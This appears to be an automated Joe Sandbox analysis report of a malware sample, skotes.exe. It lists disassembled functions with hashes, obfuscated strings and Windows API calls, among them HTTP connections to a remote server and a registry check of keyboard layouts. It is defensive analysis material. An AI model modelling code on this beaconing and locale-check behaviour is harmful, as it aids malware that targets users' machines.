Source File: 00000000.00000002.1728434693.00000000054B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_54b0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0410ee5122f2c8604bc765ff3772de0856421501f328442a3af18bdf35b988c1
Instruction ID: 59c45f85195ec7fa8068b2494470966f8dfa1dddabb464ffab93c0e5f25fa55e
Opcode Fuzzy Hash: 0410ee5122f2c8604bc765ff3772de0856421501f328442a3af18bdf35b988c1
Instruction Fuzzy Hash: 83E068FA24D1015FA5019561834A2FF3B5EE983531330492AF4C780881F790444314B2

Function 054B0D72 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1728434693.00000000054B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_54b0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ecc1c797f18a76d956dd1e2a3dda3db3b6fe135b48f3ac1df396fdc025de3a3
Instruction ID: 1e9633d05402043b43408124c0fb3546b3ac5164d23f685349d719b08d630e95
Opcode Fuzzy Hash: 7ecc1c797f18a76d956dd1e2a3dda3db3b6fe135b48f3ac1df396fdc025de3a3
Instruction Fuzzy Hash: 2AE068FBA0C2002FA241A1F5935E2EFBE4EE98B130330983AE8829B052F28248074091

Non-executed Functions

Function 054B0122 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1728434693.00000000054B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_54b0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 960e28b388b3a999c62c1cbd431cbf1bce9bda4244b93abb1843caa2ac38f70e
Instruction ID: 07d22bc1d1761669eed6a95e4a14600424d217cd7db21bb95e688be0c02e5f13
Opcode Fuzzy Hash: 960e28b388b3a999c62c1cbd431cbf1bce9bda4244b93abb1843caa2ac38f70e
Instruction Fuzzy Hash: 713135B710C2157CB65BD4911A489F72F5ADAD3372331846BF40ADF642D0C64E4B52B1

Function 054B088E Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1728434693.00000000054B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_54b0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c56b91ff65801ad1554707e4005dd7cfc2945ebcd34aa9ed3adba0651721ce7
Instruction ID: 7fdbd5f1c27fc4228091a56acdd132f4c6b248f051ab1d4a8b9e087efd4631ae
Opcode Fuzzy Hash: 7c56b91ff65801ad1554707e4005dd7cfc2945ebcd34aa9ed3adba0651721ce7
Instruction Fuzzy Hash: 6EF05EBB588100BDF1068A06AB496F6B72BF6D2231734863BE407C5947D2E94B5B6171

Analysis Process: skotes.exePID: 7840, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	8.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.1%
Total number of Nodes:	1708
Total number of Limit Nodes:	21

Executed Functions

Function 0073BE30 Relevance: 21.3, APIs: 6, Strings: 6, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC), ref: 0073BEB8
InternetOpenW.WININET(00788DC8,00000000,00000000,00000000,00000000), ref: 0073BEC8
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0073BEEB
HttpOpenRequestA.WININET(?,00000000), ref: 0073BF36
HttpSendRequestA.WININET(?,00000000), ref: 0073BFF5
InternetReadFile.WININET(?,?,000003FF,?), ref: 0073C0A7
InternetCloseHandle.WININET(?), ref: 0073C187
InternetCloseHandle.WININET(?), ref: 0073C18F
InternetCloseHandle.WININET(?), ref: 0073C197

Strings

RmNn, xrefs: 0073D606
8HJUeIfzLo==, xrefs: 0073C3CB, 0073C623
stoi argument out of range, xrefs: 0073E4EA
invalid stoi argument, xrefs: 0073E4F4
RE1NXF==, xrefs: 0073BF0E
8HJUeMD Lq5=, xrefs: 0073C465

Memory Dump Source

Source File: 00000006.00000002.3035499418.0000000000731000.00000040.00000001.01000000.00000008.sdmp, Offset: 00730000, based on PE: true

Associated: 00000006.00000002.3035078727.0000000000730000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3035499418.0000000000792000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036080060.0000000000799000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.000000000079B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A48000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3038532164.0000000000A57000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3039326237.0000000000BFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3039448230.0000000000BFC000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_730000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$RmNn$invalid stoi argument$stoi argument out of range
API String ID: 2167506142-2254971868
Opcode ID: d0c64e5dc67b3362e73b2122205807d7a951946f143ae3798de1604f86ca083d
Instruction ID: a86bb2cf349d2b68c59f07a7e4cdb6531bea63ebcee3bb6cf855fe2ff946825f
Opcode Fuzzy Hash: d0c64e5dc67b3362e73b2122205807d7a951946f143ae3798de1604f86ca083d
Instruction Fuzzy Hash: 9FB116B1600118DBEB29DF28CC89B9E7B75EF45304F508199F509A72D3DB399AC0CB95

Function 0074D3E2 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 007324BE

Memory Dump Source

Source File: 00000006.00000002.3035499418.0000000000731000.00000040.00000001.01000000.00000008.sdmp, Offset: 00730000, based on PE: true

Associated: 00000006.00000002.3035078727.0000000000730000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3035499418.0000000000792000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036080060.0000000000799000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.000000000079B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A48000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3038532164.0000000000A57000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3039326237.0000000000BFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3039448230.0000000000BFC000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_730000_skotes.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: ba50cf88bdb4f0db55946cbee9a5ab06bd443dfdfafe0f1db9fc0c783b2f2676
Instruction ID: 978f4e897317e3b2c5bd665edeeb69cac62aec949b35454e8648ab3b55f0ef20
Opcode Fuzzy Hash: ba50cf88bdb4f0db55946cbee9a5ab06bd443dfdfafe0f1db9fc0c783b2f2676
Instruction Fuzzy Hash: 6851E0B2A01216DBDB25CF68D8857ADBBF0FB08310F24C12AD459EB251D338ED41CB94

Function 00743640 Relevance: 53.3, APIs: 1, Strings: 29, Instructions: 761
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0074434F

Part of subcall function 00747A00: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00747AEC
Part of subcall function 00747A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00747AF8
Part of subcall function 00747A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00747B01

Strings

3I3eB==, xrefs: 00744802
anE0, xrefs: 0074566B
93E0, xrefs: 00745600
246122658369, xrefs: 0073F737, 0073FA14, 007405E7, 0074099A, 00741F95, 007428DE, 00742B33, 00742BA0, 00742F78, 00743463, 007434C4, 0074502A, 0074503D, 0074507F, 00745089, 00745684
V2Te, xrefs: 00743EB0
9c9aa5, xrefs: 0073FB8E, 00745619
Vmc0, xrefs: 007455D7
8WI0, xrefs: 00745692
Fw==, xrefs: 0074378E, 00744E1D
P, xrefs: 00744B25, 00746541, 00746558, 0074659A, 007465A4
", xrefs: 00743F89
VXA0, xrefs: 007455AE
WX f, xrefs: 00743BDE
MGE+, xrefs: 0073E821, 00744866, 007448DD, 00744B85, 00744BFC
MGI+, xrefs: 007448AD, 007449DC, 00744BCC, 00744CFB
WGpm, xrefs: 00743CC9
VXQ0, xrefs: 0074550A
stoi argument out of range, xrefs: 00742EF2, 00744359, 00744F9C
invalid stoi argument, xrefs: 00741ED0, 00742ED9, 00742EE8, 0074434A, 00744F8D
WGS0, xrefs: 00745533
9HQ0, xrefs: 007454E1
aWW0, xrefs: 0074555C
KCWUOl==, xrefs: 00745649
GE0, xrefs: 00745585
2I0, xrefs: 00745627
5120, xrefs: 00743BAF, 00743C9A
jS=, xrefs: 00746513
9250, xrefs: 007454AD
Hykl, xrefs: 0074387F

Memory Dump Source

Source File: 00000006.00000002.3035499418.0000000000731000.00000040.00000001.01000000.00000008.sdmp, Offset: 00730000, based on PE: true

Associated: 00000006.00000002.3035078727.0000000000730000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3035499418.0000000000792000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036080060.0000000000799000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.000000000079B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A48000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3038532164.0000000000A57000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3039326237.0000000000BFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3039448230.0000000000BFC000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_730000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situXinvalid_argumentstd::_
String ID: 2I0$ 3I3eB==$ GE0$ jS=$"$246122658369$5120$8WI0$9250$93E0$9HQ0$9c9aa5$Fw==$Hykl$KCWUOl==$MGE+$MGI+$P$V2Te$VXA0$VXQ0$Vmc0$WGS0$WGpm$WX f$aWW0$anE0$invalid stoi argument$stoi argument out of range
API String ID: 4234742559-888816137
Opcode ID: 7e15c199940871b1e00df4b2d0f637fbbf525b4ae582ac10abb9c6a00eaea65d
Instruction ID: 1c8a0877b26296eb367a83eb1577f8574e152fa217d96e3fa78d613fffb77579
Opcode Fuzzy Hash: 7e15c199940871b1e00df4b2d0f637fbbf525b4ae582ac10abb9c6a00eaea65d
Instruction Fuzzy Hash: 3C520771A00248DBDF18EF78CC4A79DBB75AF45304F54858CE445A7282EB7D9B84CBA2

Function 007447B0 Relevance: 37.0, APIs: 1, Strings: 22, Instructions: 2516COMMON

Download Yara Rule

APIs

Part of subcall function 00747A00: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00747AEC
Part of subcall function 00747A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00747AF8
Part of subcall function 00747A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00747B01

Part of subcall function 0073BE30: Sleep.KERNEL32(000005DC), ref: 0073BEB8
Part of subcall function 0073BE30: InternetOpenW.WININET(00788DC8,00000000,00000000,00000000,00000000), ref: 0073BEC8
Part of subcall function 0073BE30: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0073BEEB
Part of subcall function 0073BE30: HttpOpenRequestA.WININET(?,00000000), ref: 0073BF36

std::_Xinvalid_argument.LIBCPMT ref: 00744F92

Strings

3I3eB==, xrefs: 00744802
VXQ0, xrefs: 0074550A
anE0, xrefs: 0074566B
93E0, xrefs: 00745600
246122658369, xrefs: 0074502A, 0074503D, 0074507F, 00745089, 00745684
stoi argument out of range, xrefs: 00744359, 00744F9C
WGS0, xrefs: 00745533
9HQ0, xrefs: 007454E1
9c9aa5, xrefs: 00745619
Vmc0, xrefs: 007455D7
8WI0, xrefs: 00745692
aWW0, xrefs: 0074555C
KCWUOl==, xrefs: 00745649
GE0, xrefs: 00745585
Fw==, xrefs: 0074378E, 00744E1D
2I0, xrefs: 00745627
P, xrefs: 00744B25, 00746541, 00746558, 0074659A, 007465A4, 00746810, 00746827, 00746869, 00746873
jS=, xrefs: 00746513, 007467E2
VXA0, xrefs: 007455AE
9250, xrefs: 007454AD
MGE+, xrefs: 00744866, 007448DD, 00744B85, 00744BFC
MGI+, xrefs: 007448AD, 007449DC, 00744BCC, 00744CFB

Memory Dump Source

Source File: 00000006.00000002.3035499418.0000000000731000.00000040.00000001.01000000.00000008.sdmp, Offset: 00730000, based on PE: true

Associated: 00000006.00000002.3035078727.0000000000730000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3035499418.0000000000792000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036080060.0000000000799000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.000000000079B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A48000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3038532164.0000000000A57000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3039326237.0000000000BFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3039448230.0000000000BFC000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_730000_skotes.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestSleepXinvalid_argumentstd::_
String ID: 2I0$ 3I3eB==$ GE0$ jS=$246122658369$8WI0$9250$93E0$9HQ0$9c9aa5$Fw==$KCWUOl==$MGE+$MGI+$P$VXA0$VXQ0$Vmc0$WGS0$aWW0$anE0$stoi argument out of range
API String ID: 4201286991-3874925447
Opcode ID: 21a30f9e686f2c29e22341179986ff5d129de953a22595c393245f630c9d7b20
Instruction ID: fd84ec8412c094acb4331d8541bd397962ee37544ab3c3f541bbc6187d18d62b
Opcode Fuzzy Hash: 21a30f9e686f2c29e22341179986ff5d129de953a22595c393245f630c9d7b20
Instruction Fuzzy Hash: 89230671A00258CBEB19DB28CD8979DBB769B82304F5481D8E049A72D7EB395FC4CF52

Function 00742F10 Relevance: 21.9, APIs: 1, Strings: 11, Instructions: 910
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

WGpm, xrefs: 00743CC9
", xrefs: 00743F89
WTw=, xrefs: 00742F5E
246122658369, xrefs: 00742F78
5120, xrefs: 00743BAF, 00743C9A
stoi argument out of range, xrefs: 00744359
V2Te, xrefs: 00743EB0
invalid stoi argument, xrefs: 0074434A
Hykl, xrefs: 0074387F
WX f, xrefs: 00743BDE
Fw==, xrefs: 0074378E

Memory Dump Source

Source File: 00000006.00000002.3035499418.0000000000731000.00000040.00000001.01000000.00000008.sdmp, Offset: 00730000, based on PE: true

Associated: 00000006.00000002.3035078727.0000000000730000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3035499418.0000000000792000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036080060.0000000000799000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.000000000079B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A48000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3038532164.0000000000A57000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3039326237.0000000000BFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3039448230.0000000000BFC000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_730000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID: "$246122658369$5120$Fw==$Hykl$V2Te$WGpm$WTw=$WX f$invalid stoi argument$stoi argument out of range
API String ID: 4078500453-1402436090
Opcode ID: 38da39c7c700b0d491c28d80256b9228f101b0456c69d2c9d03fd36d160746aa
Instruction ID: 9a3a53e593816ad4214067b7a71f1017a3654af7a04e57dc47bd76d262daeae9
Opcode Fuzzy Hash: 38da39c7c700b0d491c28d80256b9228f101b0456c69d2c9d03fd36d160746aa
Instruction Fuzzy Hash: 6C720771A00288DBDF18EF78CD4A79DBB75AF45304F54858CE449A7282D73D9B84CB92

Function 00735EE0 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 340
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,80000001,00000000,000F003F,?), ref: 00735F13

Strings

00000419, xrefs: 00736098
Keyboard Layout\Preload, xrefs: 00736054
00000422, xrefs: 007360C9
00000423, xrefs: 007360FA
0000043f, xrefs: 0073612B

Memory Dump Source

Source File: 00000006.00000002.3035499418.0000000000731000.00000040.00000001.01000000.00000008.sdmp, Offset: 00730000, based on PE: true

Associated: 00000006.00000002.3035078727.0000000000730000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3035499418.0000000000792000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036080060.0000000000799000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.000000000079B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A48000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3038532164.0000000000A57000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3039326237.0000000000BFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3039448230.0000000000BFC000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_730000_skotes.jbxd

Yara matches

Similarity

API ID: Open
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 71445658-3963862150
Opcode ID: d427b61aa94fa0403dc64f429191f31131c352d03264098682dcb7b01ac776d4
Instruction ID: ab8671496f1bc246c014ca6352ff0b2c8472edfcf5e1f011c7e12b6625d7750d
Opcode Fuzzy Hash: d427b61aa94fa0403dc64f429191f31131c352d03264098682dcb7b01ac776d4
Instruction Fuzzy Hash: B0D1B071900158ABEF24DF64CC89BDEB779EF04340F5442D8E508E7292DB78ABA48F95

Function 00737D30 Relevance: 10.9, APIs: 1, Strings: 5, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00737ED3

Strings

JjsrQV==, xrefs: 00738092
JjssPV==, xrefs: 007381E2
JjsrPl==, xrefs: 0073828A
^, xrefs: 00737F75, 0073805A, 00738102, 007381AA, 00738252
JjssOl==, xrefs: 0073813A

Memory Dump Source

Source File: 00000006.00000002.3035499418.0000000000731000.00000040.00000001.01000000.00000008.sdmp, Offset: 00730000, based on PE: true

Associated: 00000006.00000002.3035078727.0000000000730000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3035499418.0000000000792000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036080060.0000000000799000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.000000000079B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A48000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3038532164.0000000000A57000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3039326237.0000000000BFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3039448230.0000000000BFC000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_730000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: ^$JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-167066236
Opcode ID: 3f434cc3979764feac72b7c7a50c0b4550fd3f01b883a391d7fb12a7497b187e
Instruction ID: e0e46b343f82b70a9cac821e4fd59601e373f707760fabe8e2edf3dcaf09bc05
Opcode Fuzzy Hash: 3f434cc3979764feac72b7c7a50c0b4550fd3f01b883a391d7fb12a7497b187e
Instruction Fuzzy Hash: 21E1E5B1E00644EBEB28BB28DC4B39E7A61AB41724F944688E415673C3DB3D5F8187D3

Function 00738380 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00738524

Memory Dump Source

Source File: 00000006.00000002.3035499418.0000000000731000.00000040.00000001.01000000.00000008.sdmp, Offset: 00730000, based on PE: true

Associated: 00000006.00000002.3035078727.0000000000730000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3035499418.0000000000792000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036080060.0000000000799000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.000000000079B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A48000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3038532164.0000000000A57000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3039326237.0000000000BFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3039448230.0000000000BFC000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_730000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 8f8c8e47031c80f5c81e17c8fa51b6fad96bd45e741071457ea61dbba7a73660
Instruction ID: eb1484a884a9ca62927e0e56a25cbed13591aba0e928a265ace1a9c9ec056f2b
Opcode Fuzzy Hash: 8f8c8e47031c80f5c81e17c8fa51b6fad96bd45e741071457ea61dbba7a73660
Instruction Fuzzy Hash: DC511670D04358DBEB24EF68CD497EDB7759B45314F504299F804A7282EF389E848B92

Function 00738B30 Relevance: 1.6, APIs: 1, Instructions: 140
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathA.KERNEL32(00000104,?,15FED121,?,00000000), ref: 00738B77

Memory Dump Source

Source File: 00000006.00000002.3035499418.0000000000731000.00000040.00000001.01000000.00000008.sdmp, Offset: 00730000, based on PE: true

Associated: 00000006.00000002.3035078727.0000000000730000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3035499418.0000000000792000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036080060.0000000000799000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.000000000079B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A48000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.0000000000A56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3038532164.0000000000A57000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3039326237.0000000000BFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3039448230.0000000000BFC000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_730000_skotes.jbxd

Yara matches

Similarity

API ID: PathTemp
String ID:
API String ID: 2920410445-0
Opcode ID: b2b8b4550be6db204fdf0abe15b0a298fa7899e8c0690121cce039c2a5f28a85
Instruction ID: 774fc24cc89e8e994f9fb7b64c448b098150aceaa6d159dd3b0360990270d766
Opcode Fuzzy Hash: b2b8b4550be6db204fdf0abe15b0a298fa7899e8c0690121cce039c2a5f28a85
Instruction Fuzzy Hash: 5951E571A012589BEB68DB28CC89BDDB775EB49314F1081D9E409A7282DB395F84CF92

Function 0076B04B Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,15FED121,?,?,0074D3FC,15FED121,?,00747A8B,?,?,?,?,?,?,00737465,?), ref: 0076B07E

Memory Dump Source

Source File: 00000006.00000002.3035499418.0000000000731000.00000040.00000001.01000000.00000008.sdmp, Offset: 00730000, based on PE: true

Associated: 00000006.00000002.3035078727.0000000000730000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3035499418.0000000000792000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036080060.0000000000799000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3036308836.000000000079B000.00000040.00000001.01000000.00000008.sdmpDownload File
